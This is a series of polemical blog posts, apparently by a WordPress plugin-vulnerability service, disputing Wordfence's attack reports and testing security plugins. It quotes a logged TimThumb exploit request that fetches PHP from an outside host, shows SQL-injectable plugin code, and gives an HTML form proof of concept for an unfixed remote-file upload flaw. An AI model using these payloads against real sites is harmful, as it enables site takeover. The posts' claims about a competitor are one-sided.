11 Aug

Wordfence Unnecessarily Scares Public by Including Non-Existent Threat Against Plugin in Their WordPress Attack Report

Unfortunately much of the security industry doesn’t seem to have interest in being responsible when it comes to security information they put out, instead they throw out information without regards to accuracy, often causing the public to be concerned about non-threats (while real threats go under focused).

A case in point of this is something we just looked into involving Wordfence and their The July 2017 WordPress Attack Report. The report is rather inaccurate, for example there is a whole section on brute force attacks, despite those not occurring. But what brought our attention to the report was a thread on the WordPress Support Forum that came up in our monitoring of that for mentions of vulnerabilities in plugins. The person that started the thread had deactivated the plugin WP-PageNavi due Wordfence’s claim about the plugin in the report:

We looked into the details of the biggest mover on the list, ‘wp-pagenavi’, which moved up 38 spots to number 11. The surge in attacks are attempting to exploit the TimThumb vulnerability we discussed in the theme section. We couldn’t find reference to the plugin including TimThumb, but given that the TimThumb vulnerability in question is over 5 years old now it would be difficult to say for sure.

We don’t understand why Wordfence is saying that it would be difficult to say if the plugin used TimThumb, seeing as the plugin is available in the Plugin Directory and therefore all the versions that have been available through that are still viewable through the Subversion repository that stores the plugins. This certainly wouldn’t even be the first recent instance where Wordfence didn’t appear to have done proper due diligence before making a claim.

The developer of the plugin responded in the thread this way:

It is a popular plugin and I am not surprised. The plugin has NEVER use TimThumb before and as far as I know, there is no vulnerability being reported to me.

In looking at the logs of several our website going back through the beginning of July we saw 0 requests for anything files from that plugin. If there was a large scale attempt to exploit something in that plugin there would have been, as there has been for every other large scale attempt to exploit a plugin in at least the recent past. So it looks like their list of the most exploited plugins is including many things that are not receiving significant exploitation attempts (considering that based on past experience Wordfence isn’t even aware of many plugin vulnerabilities that are being targeted they probably are missing vulnerabilities that should be listed).

Looking at one of the websites we monitor to help keep track of what plugin vulnerabilities are being targeted, abuseipdb.com, we found the start of what might explain what is going on here. One of the pages on that website showed a request to a file within the directory of WP-PageNavi that happened in May:

/wp-content/plugins/wp-pagenavi/inc/thumb.php?src=http://blogger.comxvas.ml/s.php

That file hasn’t actually existed in WP-PageNavi though. So why send a request there? One explanation could be that a hacker plants a backdoor file in that location on hacked websites and someone was sending a request hoping the file was there. In this case though that seems unlikely because it does look like an attempt to exploit the vulnerability that had existed years ago in the TimThumb script.

Doing a search for “/wp-pagenavi/inc/thumb.php” for brought us to a page that lists location where the TimThumb script was supposed to have been in various software. It lists multiple locations in this plugin:

wp-plugins/wp-pagenavi/functions/thumb.php
wp-plugins/wp-pagenavi/functions/timthumb.php
wp-plugins/wp-pagenavi/inc/thumb.php
wp-plugins/wp-pagenavi/inc/timthumb.php
wp-plugins/wp-pagenavi/scripts/thumb.php
wp-plugins/wp-pagenavi/scripts/timthumb.php
wp-plugins/wp-pagenavi/thumb.php
wp-plugins/wp-pagenavi/timthumb.php
wp-plugins/wp-pagenavi/timthumb.phptimthumb.php

The directory structure there isn’t even right in that (it should start “wp-content/plugins”) and the TimThumb file wouldn’t be in all those locations in a plugin, but it does point to there having been a belief that the TimThumb script had been in this plugin.

So what looks to be going on here is that Wordfence is seeing attempts to exploit a vulnerability that hasn’t really existed (those are not all that uncommon) and they either don’t understand that or don’t care and included it in their data. That leads to people reading their report to falsely think that there has been a vulnerability that is being targeted by hackers in the plugin WP-PageNavi, when there hasn’t. Assuming that is true, Wordfence is being highly irresponsible here and they should stop putting out those reports until they can take the time to put out accurate information because as thread on WordPress Support Forum show this misleading data is causing the public to take unneeded action.

07 Jul

Wordfence’s Lack of Understanding of SQL Injection Vulnerabilities Leads to False Claim About WP Statistics Vulnerability

Yesterday we touched on how the web security company Sucuri and others in the security community were overstating the threat of a vulnerability recently discovered by Sucuri in the plugin WP Statistics. While looking over something else related to that vulnerability we came across the web security company Wordfence using that vulnerability basically as an ad for their products and services, while reminding people that are actually knowledgeable  about web security that Wordfence really don’t have a good grasp of it.

Their post starts out:

It’s been a tough week for the WP Statistics plugin. Last Friday, Sucuri (now owned by GoDaddy) discovered a SQL injection vulnerability in the WP Statistics plugin version 12.0.7 and older. To exploit the vulnerability, an attacker needs to register an account (or use a compromised account) with subscriber-level access. They can then exploit a weakness in a WP Statistics shortcode to launch a SQL injection attack. This allows them to, for example, create an admin-level user and sign in to your website as an admin.

The vulnerability doesn’t allow someone to create an admin-level user, which is something that Wordfence should know considering shortly after that in the post they tout their plugin will protect against SQL injection vulnerabilities. If you don’t understand the basics of them, then you are not likely to be good at protecting against them.

They certainly shouldn’t be out there making claims that are false like this, but considering this company even goes to the level of claiming they care more about security than WordPress while making up a threat, it really isn’t surprising.

This isn’t all that complicated, here are the vulnerable lines of code in the plugin (as identified by Sucuri):

737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
switch ( $time ) {
case 'today':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d' )}' AND {$search_query}" );
	break;
 
case 'yesterday':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -1 )}' AND {$search_query}" );
 
	break;
 
case 'week':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -7 )}' AND {$search_query}" );
 
	break;
 
case 'month':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -30 )}' AND {$search_query}" );
 
	break;
 
case 'year':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -365 )}' AND {$search_query}" );
 
	break;
 
case 'total':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE {$search_query}" );
 
	break;
 
default:
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', $time)}' AND {$search_query}" );
 
	break;

In that code the value of the variable $search_query, which contains user input, is used in used in multiple SQL statements without being sanitized. The important part here is that the SQL statements are SELECT statements which allow reading data from a database, they don’t allow insert anything, so you can’t add admin user or anything else (the INSERT statement would be used to insert data). What you could do is slowly read out the contents of the database, which isn’t something that we see any evidence of hackers doing against the average website (it could be used in a targeted attack).

Wordfence Fails To Mention Many Plugin Vulnerabilities

While Wordfence’s post titled a “Vulnerability Roundup” they only mentioned vulnerabilities disclosed recently in two other plugins, both of which were already fixed, while not mentioning any of the  numerous vulnerabilities in plugins that were recently disclosed that haven’t been fixed. Telling someone to update a plugin that already has been fixed is really not all that helpful, since what you really should be telling people is to keep all of their plugins up to date at all times. When vulnerabilities haven’t been fixed that is when it would be useful to make people aware of the issue. As example of Wordfence of not warning about those unfixed vulnerabilities, here are just the vulnerabilities that we disclosed last week that haven’t been fixed:

If you used our service you would know about those vulnerabilities and many others that remain unfixed, including many that are likely to be exploited.

17 May

Wordfence Spreads False Report of Vulnerability in WordPress Plugin From WPScan Vulnerability Database

When it comes to improving the security of the WordPress ecosystem one of the big problems we see is that there is so much misinformation coming from the security industry itself. A prime offender is Wordfence, which despite having the most popular WordPress security plugin, is run by people that don’t seem to know almost anything about security and don’t seem to have any concern for accuracy in the claims they make (they also are fine leaving people relying on their plugin vulnerable to being hacked despite claiming that it will protect them).

Based on that we weren’t surprised that they would be spreading false information about a claimed vulnerability in a plugin based on data from the WPScan Vulnerability Database, which we have repeatedly warned has serious accuracy issues.

They also provided advice on evaluating plugins, which not surprisingly considering their lack of security knowledge, isn’t very useful for protecting against vulnerabilities that are a real threat. But there are things that you can that will actually help to protect you from those, as well get to.

A Lack of Due Diligence

In the post 22 Abandoned WordPress Plugins with Vulnerabilities they provide the list mentioned in the title using vulnerability listings from the WPScan Vulnerability Database. You don’t have to get past the first item list to find a problem, one that should have been fairly obvious. Here is the beginning of the list:

The first plugin WP PHP widget sticks out there as it 30 times more popular than the second most popular than the second most popular. While there are certainly issues with insecure plugins not being removed from the Plugin Directory (which is likely to get worse going forward as we will get to in an upcoming post), that seems like something that should been a red flag to Wordfence.

The asterisk next to it names indicates that the vulnerability being fixed:

We also found 4 plugins (marked with asterisks in the table below) that have fixed a vulnerability, but their fix was released in such a way that existing users are not updated to the newest fixed version. In each case, the author committed a fix to trunk but did not increment the version number and tag it properly in the plugin repository, so their users remain vulnerable.

Slightly down the post there is slightly different statement about the asterisk:

If the plugin is marked with an asterisk, you can disable and remove the plugin. Then reinstall it and you should have a newer version. We have not audited individual plugins for security so we can not verify whether a vulnerability has been comprehensively fixed.

We can’t understand why a security company would on the one hand say that vulnerabilities have been fixed, but that they didn’t actually check that they were fixed. That is irresponsible at best, incredibly negligent at worst. In the case of the claimed vulnerability in WP PHP widget they don’t appeared to have check things at all.

The first clue to that is the fact that the underlying report of the claimed full path disclosure vulnerability in the plugin was released on December 21, 2012, while the last update to the plugin was on November 10, 2010. That seems like a good indication that no change was made in regards to the report.

While there were changes made to the plugin after version 1.0.2, which is the most recent version and the one listed as being vulnerable, they don’t look like they could be related to claimed vulnerability.

Looking at that report it doesn’t come across as something that looks at all that legitimate as there is no code or explanation provided as to the issue. The only information given is that the vulnerability is supposed to be a full path disclosure vulnerability and that the vulnerability is “http://localhost/wp-content/plugins/wp-php-widget/wp-php-widget.php”.

If you were to install plugin on a production server requesting the URL /wp-content/plugins/wp-php-widget/wp-php-widget.php won’t normally cause a full path disclosure (will show what that is in a second), so that may have been the extent of what Wordfence did, if they did anything. The lack of full path disclosure would be equally true if you tried this with any version of the plugin.

Where you would get the full path disclosure if you had error reporting enabled in the server’s settings, in that case visiting the URL would get the following message:

Fatal error: Class ‘WP_Widget’ not found in [redacted]/public_html/pluginvulnerabilities.com/wp-content/plugins/wp-php-widget/wp-php-widget.php on line 29

In place the portion of that we redacted you would get the rest of the path to the file on the server, hence a full path disclosure. That alone isn’t going to allow you to hack a website, but it might aid in exploiting some other vulnerability.

So is that a vulnerability? We would say probably not if it doesn’t display when error reporting isn’t enabled (though the issue in this plugin could easily be fixed), but if it is, there is a much larger issue because the same thing will occur in the core WordPress software. For example, if you were to visit /wp-includes/wp-diff.php with error reporting enabled you would get this:

Warning: require(ABSPATHWPINC/Text/Diff.php): failed to open stream: No such file or directory in [redacted]/public_html/pluginvulnerabilities.com/wp-includes/wp-diff.php on line 13

Fatal error: require(): Failed opening required ‘ABSPATHWPINC/Text/Diff.php’ (include_path=’.:/usr/local/lib/php’) in [redacted]/public_html/pluginvulnerabilities.com/wp-includes/wp-diff.php on line 13

So Wordfence’s claim that that the vulnerability had existed, but had been fixed is simply false. Either there never was vulnerability or there is a vulnerability that was never even attempted to be fixed. If it is the latter, then based on Wordfence’s recommendation you should be removing WordPress as well.

Evaluating the Security of Plugins

At the end of the post they state:

Plugins can make adding functionality to your website incredibly easy and are a big part of why WordPress is such a popular platform. The plugin repository on WordPress.org is an incredible resource, but as we have shown above it contains both abandoned plugins and ones with known vulnerabilities. Every plugin you add to your site increases your security risk, and you should evaluate each one to make sure it is being properly maintained.

Prior to that they give evaluation criteria:

A large number of plugin updates are submitted to the WordPress repository every day. For this reason it is important that you gain at least a basic understanding of who is behind a particular plugin before you install it. Here are a few steps you can take to evaluate whether you should use a plugin:

  • Check the average plugin rating.
  • Check when it was last updated.
  • Check that it is compatible with the current version of WordPress.
  • Check the number of active installs the plugin has. Some reliable and useful plugins have low install numbers but you should examine a plugin carefully if it has a low install base (below 1,000 active installs). It may not be maintained.

While we certainly suggest choosing a plugin that is being supported enough to list it as being compatible with the latest version of WordPress, it is important to understand that those criteria really are not a good way of avoiding an insecure plugin. To highlight that, look at results of looking at the information for the plugin Delete All Comments as of November 15 of last year (WordPress 4.6 was the then current of WordPress):

That all seems to meet their criteria, but five days later the security company NinTechNet would discover there was vulnerability in that was already being exploited. Even though the plugin has been recently updated before that, the vulnerability has never been fixed, so a plugin being maintained up the point you install it doesn’t necessarily even insure that an exploitable vulnerability will be fixed.

Realistically there isn’t much the average WordPress webmaster can do to evaluate the security of plugins. Instead your best bet is to make sure you are keeping your plugins up to date at all times and then look at options to provide you extra protection against vulnerabilities in them.

Our testing has shown that other security plugins don’t provide much protection against vulnerabilities in other plugins. For example, the vulnerability in Delete All Comments was not stopped by any of the 16 plugins we tested.

We offer several options that can provide extra protection. First the companion plugin for our service warns you when you are using plugins with vulnerabilities we see hackers targeting. To get more complete vulnerability data you can sign up for our service. Through our service we also work with developers to get vulnerabilities fixed and if you are using a plugin that hasn’t been fixed we are always available to consult with you on how best to deal with that (including providing you with a temporary fix so you can continue to use the plugin in the short term). When you use our service you also get suggest/vote for plugins to have a security review from us, which would catch many common security vulnerabilities in the review plugins (you can see the results of those review so far here).

24 Jan

Wordfence Security Still Doesn’t Protect Against Plugin Vulnerability More Than 30 Days After It’s Developer Became Aware of It

When it comes to the poor state of web security a lot of the blame for that can be placed on the security industry. The security industry is terrible in many ways, but one of the most troubling ones we have seen from being in it, is how often security companies are not telling the truth. Trust is an important part of security and the public is largely relying on the companies to be truthful about the protection they provide, since few in the public (and few at security companies) would have the ability to tell if the claims were truthful.

When it comes to WordPress security, one company that we have repeatedly seen saying things that are not true is Wordfence, the company behind the most popular security plugin Wordfence Security. One example of this we found was their claim that they provide “protection from the latest threats” through “unmatched access to information about how hackers compromise sites”. What we have repeatedly found is that they (and every other security company) are unaware of vulnerabilities that are in the current version of plugins and being exploited. We know this because we have found those vulnerabilities and taken action to protect the public against them. More striking is that we found many by just monitoring our few websites, where Wordfence’s claim is tied to being involved with over 1 million websites, so either they are not doing what they claim to be doing or they are completely incompetent, neither which should be true about a company behind such a popular product.

As we discussed a month ago, how Wordfence promotes their plugin is false even in relation with other claims they make.

On WordPress’s Plugin Directory page for the Wordfence Security plugin the description of it begins:

Secure your website with Wordfence. Powered by the constantly updated Threat Defense Feed, our Web Application Firewall stops you from getting hacked.

And later states that:

Wordfence Security is 100% free and open source. We also offer a Premium API key that gives you Premium Support, Country Blocking, Scheduled Scans, Password Auditing and we even check if your website IP address is being used to Spamvertize.

But as we mentioned in that post:

Despite that, it turns out that unless you are not using Wordfence’s paid service you actually can easily get hacked (and even with that you are left vulnerable to their slow response to vulnerabilities). You don’t have to take our word on that, Wordfence admitted to that fact yesterday.

You see, when they add protection against a vulnerability they only provide protection for their paying customers at first and they claim that after 30 days they provide it to non paying users of the plugin. That would mean for the first 30 days if you are using their plugin and not their paid service you are not protected, which is in direct contradiction the claim that the plugin “stops you from getting hacked”. For the vulnerability in Delete All Comments that we were discussing then, it turns out that isn’t even true.

The protection for the vulnerability in Delete All Comments should have been provided to the public on January 15, as Wordfence belated started providing protection to their paying customer against the vulnerability December 16.

We were curious to see how robust their protection would be against the vulnerability, due to something we noticed when we tested 15 security plugins ability to protect against the vulnerability back in December and found that none of them protected against it. That was surprising for one of the plugins, since it was from the company that discovered the vulnerability while cleaning up a website that had been hacked due to it and they said that their plugin provided protection. When we went to see what was going on we found that it did protect against exploitation if you tried to exploit the vulnerability in a different way then we tried. So we were curious to see if Wordfence Security did a better job or not.

When we tried to do that today we found that Wordfence Security still doesn’t protect against the vulnerability, so either the Wordfence hasn’t provide firewall rule to free users of the plugin as they claimed they would by now (it looks like that is the case) or the rule doesn’t work. Considering that the vulnerability has still not been fixed and is being exploited pretty widely that obviously is a big issue and likely lead to websites getting hacked that wouldn’t if people used better solutions, like our plugin, which even if you are not using paid service, has been warning about the vulnerability since December 12 (it similarly warns for other vulnerabilities that we see being exploited).

21 Dec

Wordfence Is Leaving Sites Relying on Their Plugin Vulnerable to Unfixed Vulnerability That They Know is Being Exploited

On WordPress’s Plugin Directory page for the Wordfence Security plugin the description of it begins:

Secure your website with Wordfence. Powered by the constantly updated Threat Defense Feed, our Web Application Firewall stops you from getting hacked.

And later states that:

Wordfence Security is 100% free and open source. We also offer a Premium API key that gives you Premium Support, Country Blocking, Scheduled Scans, Password Auditing and we even check if your website IP address is being used to Spamvertize.

Despite that, it turns out that unless you are not using Wordfence’s paid service you actually can easily get hacked (and even with that you are left vulnerable to their slow response to vulnerabilities). You don’t have to take our word on that, Wordfence admitted to that fact yesterday.

Before we get to that, let’s provide you with some important background information. On November 20 the security company NinTechNet discovered that the WordPress plugin Delete All Comments had an arbitrary file upload vulnerability, which allows a hacker to upload any file they want and through that they can do almost anything they want with a website. They discovered that while cleaning up a website that was hacked through that vulnerability (unlike so many security companies they actual did the important step of trying to determine how the website was hacked). They contacted the developer of the plugin and didn’t get a response. Subsequently they notified the Plugin Directory and the plugin was removed from that. The vulnerability has yet to be fixed, so anyone still using it is vulnerable to being exploited.

On December 10 NinTechNet publicly disclosed the vulnerability. We then added it to the data for our service. We put out a new version of our service’s companion plugin with the vulnerability added to the free data included in it on Monday, the 12th, so those not using our service yet started getting warned about the issue (WordPress really should be warning about this, but their position is that doing that would put people at more risk). On Monday we also started seeing what looked to be hackers probing for usage of the plugin, so it looks like more widespread exploitation of the vulnerability probably began then as well.

Then on Friday we did a test of 15 security plugins, including Wordfence Security, to see if they would prevent the vulnerability from being exploited. This would be a situation where a security plugin could provide some value, since even if you keep your plugins up to date, you would still be vulnerable since the plugins hasn’t been fixed. The result was that none of the plugins provided any protection.

That wasn’t the only instance where Wordfence security wouldn’t stop you from being a vulnerability from being exploited, in five previous test we have found that it provided no protection in three and the protection was easily bypassed in the other two (many of the other plugins we have test have provided no protection in any of test they were included in).

Against those results a recent posting on Reddit by them stood out, they wrote:

I’d say about 2 years ago I would not have been comfortable running WordPress even with Wordfence on a mission critical site where data theft is a disaster.

Today that has changed and there is one thing that changed it: Our firewall. Back when I wrote and launched the code for Wordfence myself (in 2011) we didn’t even have a firewall. We launched a full blown firewall some time ago and it’s now evolved to the point where I’m completely confident that if you install our firewall and are running WordPress, you are going to be much more secure than if you’re running an alternative product, even if that alternative CMS is behind a firewall.

and

So if you run our firewall I’m 100% confident you can run WordPress securely on a large mission critical production site. We’re doing it ourselves for wordfence.com along with several other major sites we run. All use our firewall.

We responded pointing to the results of our testing that showed the reality is their product doesn’t live up those claims.

Their response to that is rather troubling.

In regards to the vulnerability in Delete All Comments they only did anything about it on December 16:

We developed a firewall rule for that exploit and released it into production on December 16th, the moment we heard about it from our users. That’s a screenshot from our internal Slack. It’s a fun read – shows what a great place Wordfence is to work.

They also only became aware of because of their users, so they are not actively monitoring for information on vulnerabilities in plugins. We were not the only ones that noticed the disclosure before then, it was included in WPScan Vulnerability Database on December 11.

Later in the post they claim that:

As you can see, the team responds very quickly.

Which is the opposite of the truth.

But now people using their plugin are protected right? No:

The rule is now in production for Wordfence Premium. It will only be available in the free Threat Defense Feed 30 days after release, so around Jan 15th.

So they know that vulnerability is already being exploited, since that is how it was discovered, but they are leaving people that use their plugin, but not also their paid service, vulnerable for a month.

Update (1/24/2017): More than a week after the rule was supposed to be available to those using the plugin without their service, we found that the Wordfence Security plugin still doesn’t protect against the vulnerability, so the claim the rule would be available to those using just the plugin after 30 days turned out to be false (or less likely, the rule isn’t effective at all).

They then went on to try to downplay this by claiming the plugin was not very popular twice (emphasis ours):

FYI, that plugin was pulled from the repository and is no longer available. It wasn’t very popular when it was in the repo.

We deploy rules for vulnerabilities and their exploits the moment we hear about them or see them exploited in the wild. That just wasn’t a widely exploited vulnerability or a popular plugin. In the case of the vulnerability above, we heard about it because you were making some noise about it. Our users alerted us.

So what do they consider to be an unpopular plugin, one that as of a month ago had 30,000+ active installs.

We would consider that popular. So does WordPress, as the Popular section of the Plugin Directory currently includes plugins with a 10,000+ active installs.

It turns out that not that long ago so did Wordfence. In a post written in November of last year,  New Vulnerabilities in 6 Popular WordPress Plugins, one of the 6  popular plugins had 30,000+ active installs. It went even lower than that. One of the others had only 2,000+ active installs. Did they really radically change their view of what constitutes a popular plugin in 13 month or does their view change to fit the narrative they are going with?

Also worth noting in that is this portion “We deploy rules for vulnerabilities and their exploits the moment we hear about them or see them exploited in the wild”. So their protection relies on them being aware of vulnerabilities, which is fairly big problem since we have repeatedly found that Wordfence is unaware of vulnerabilities despite them promoting their Real-Time Threat Defense Feed as giving them “unmatched access to information about how hackers compromise sites”.

What You Should Do If Use Wordfence Security

The best case we see with Wordfence is that they don’t have a good understanding of security, which leads them to repeatedly make false claims. That probably isn’t a good base for creating a good security plugins, which makes the fact that it is the most popular WordPress security plugin with 1+ million active installs problematic (the plugin even has been found to have vulnerabilities of its own in a number of instances). It then wouldn’t be all that surprising that they would make claims about their plugin,like we mentioned earlier in the the post, that don’t match reality.

A worse case scenario is that they are intentionally misleading people to push their plugin and service. Take an example last week where they claimed that there was a recent increase in brute force attacks against WordPress admin password and of course the way to protection yourself against them is to use their plugin. The problem with that being that brute force attacks are not happening. What looks to be going on are dictionary attacks, which involved trying common passwords and can be protected against by simply by using a strong password, no security plugin needed.

Given that, avoiding their plugin could help to attract more people to plugins and companies that have a better handle on security, leading to improved WordPress security.

Beyond that, getting warned when you are using a plugin with a vulnerability that is being exploited would be a good idea. As we mentioned earlier the WPScan Vulnerability Database has included since before Wordfence even became aware of it, so using a plugin that uses their data would do the trick in this instance (if you do a search for “wpscan” on the Plugin Directory you will find a number of those plugins).

As we have discussed in the past though the WPScan Vulnerability Database doesn’t always do a good job of included vulnerabilities in their data (among other issues). That is where the companion plugin for our service can come in. Last week in addition to adding the vulnerability in Delete All Comments to the free data included with that, we added vulnerabilities that were likely being exploited in the current versions of a plugin with 20,000+ active installs and another with 40,000+ active installs (this one has now been fixed). Neither of those are currently included in WPScan’s data, despite us publicly disclosing them at the same time we added them to our data for the service and in the plugin.

If you want more comprehensive information on vulnerabilities in plugin you use can sign up for our service. With that you get information on not just vulnerabilities that are already being exploited, but all vulnerabilities being discovered whether by others or by us (as well as rating on the likelihood of the vulnerability being exploited).

You also get support, so if you run into a situation where you are using a plugin that has yet to be fixed we can help you to make the best decision on handling that. In some cases you can safely ignore the issue, in others we can provide you with a workaround, in others the best option might be to stop using the plugin.

To help keep it from getting to situation where vulnerabilities are first discovered when they are being exploited our paying customers get to suggest and vote for plugins to get a security review done by us.

Finally, by using our service you are helping to improve to the security of WordPress plugins for everyone, as the work we do for the service helps to get numerous vulnerabilities, including many that were already being exploited, fixed for everyone.

Currently you can try the service for free for a month.

16 Dec

No WordPress Security Plugin Prevented Exploitation of Unfixed Arbitrary File Upload Vulnerability in Popular Plugin

When it comes to the chances of vulnerabilities being exploited the reality is that many types of vulnerabilities are highly unlikely to have anyone even try to exploit them. Unfortunately far too often we see security companies and the press making a big deal of vulnerabilities that are are of little to no threat, while ignoring vulnerabilities and broader security issues that are leading to websites being hacked (that lead us to providing information on likelihood that a vulnerability is to be exploited to the data for our service). When it comes to types that are likely to be exploited, the arbitrary file upload vulnerability, which allows a hacker to upload files of any kind to a website, is probably the one with the most exploit attempts and also then ends up leading to the most websites being hacked. So if a WordPress security plugin is going to protect against any type of vulnerability this seems like this is the one you would most want it to be able protect against.

Back in September we tested out security plugins against this type of vulnerability and the results were not good. Of the 12 plugins tested only 3 provided any protection. The protections 2 of them provide was easily bypassed for this particular vulnerability and the remaining plugin’s protection also meant that Editor level and below users could not upload files either.

With the vulnerability tested then the file to be uploaded was included with the upload request, which provides security plugins a relatively easy way to detect the possibility of a malicious upload occurring as they can see all files being included in the request by checking the $_FILES variable. An arbitrary file upload vulnerability can also involve getting a file from another website, which should make it harder to detect.

Just such a vulnerability was disclosed in the plugin Delete All Comments (which recently had 30,000+ active installs according to wordpress.org) by the security company NinTechNet on Saturday, which they had discovered while cleaning up a website that had been hacked due to it. The vulnerability is just the type of thing that could show the value of a security plugin as the vulnerability has not been fixed, so even if you keep your plugins up to date at all times you are still vulnerable if you are using (WordPress could step in to provide a secured version, but so far they have not). So we decided to test out security plugins to see if they are able to protect against it.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.7, installed the version 2.0 of Delete All Comments, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the following HTML to launch the upload request in the exploit attempts:

<form method="POST" action="http://[path to WordPress]">
<input type="text" name="restorefromfileURL" value="[URL of file to be upload]">
<input type="text" name="restorefromfileNAME" value="test.php">
<input type="submit">
</form>

The 15 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. We added three new plugins in this round of testing: Block Bad Queries (BBQ), Centrora Security, and Total Security. Followers of our blog might recognize two of those, as we previously disclosed a pair security vulnerabilities we found Centrora Security and Total Security (yes security plugins can introduce additional security issues on your website). If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevented the vulnerability from being exploited.

We were surprised NinjaFirewall (WP Edition) didn’t prevent this since the developer was the one that discovered the vulnerability and they state that:

Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected against it.

One possible explanation for this discrepancy is that we sent the exploit attempt request to homepage of the website while the hack shown in their post had the request sent to /wp-content/plugins/delete-all-comments/delete-all-comments.php. When we sent the request to that URL instead it was blocked.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

Block Bad Queries (BBQ)

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

Centrora Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Total Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you. In this case the vulnerability can exploited when not active if the request is sent directly to plugin’s file.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service. We added this vulnerability on Monday.
  • Sign up for our service. Not only do you get alerted if there is a vulnerability in a currently installed version of a plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins. With our service you get a more limited version of this as you can suggest and vote for plugins to have basic security reviews done by us.
26 Sep

No WordPress Security Plugins Protected Against Recently Disclosed Vulnerability That Exposes WooCommerce Order Data

Recently we started testing to see what protection WordPress security plugins provide against vulnerabilities in other plugins (since plugins vulnerabilities are an actual source of websites being hacked, unlike some other things that these plugins make a big deal or providing protection against). The first vulnerability we tested could be used for serving up malware on a website and the second could give an attacker control over the website. Both of those are types of vulnerabilities that are the kind that are often thought of when discussing the security of websites, for example the very popular Wordfence plugin is advertised as “protecting your website from hacks and malware”. Not every security issue though falls into those categories. As you can guess from the name, an information disclosure vulnerability involves the disclosure of information that isn’t intended to be public and those can be a serious issue. For example, if you run an eCommerce you wouldn’t want your customers’ details to be accessible by the public.

WooCommerce is an popular eCommerce plugin for WordPress, which has over 1+ million active installs according to wordpress.org (we use it on this website). There are numerous plugins that expand on its functionality. The security of those isn’t always good. Among the issue we have found in some of those plugins this year were two arbitrary file upload vulnerabilities and a vulnerability that allowed changing the price of products. Recently David Peltier discovered that the plugin Order / Coupon / Subscription Export Import Plugin for WooCommerce (BASIC) had an information disclosure vulnerability that allowed anyone to get a copy of the orders made through WooCommerce on the website. Including in that is not only the details of the order, but the customer’s details, including address and email adress. That vulnerability has now been fixed.

Based on those vulnerabilities in WooCommerce related plugins, it is clear that plugins on websites that likely contain sensitive data are not receiving the security scrutiny that they should be. So if WordPress security plugins provided protection against information disclosure vulnerabilities that could be of significant value.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the version 1.0.8 of Order / Coupon / Subscription Export Import Plugin for WooCommerce (BASIC), and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in the report on the vulnerability.

The 12 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevent the vulnerability from being exploited.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
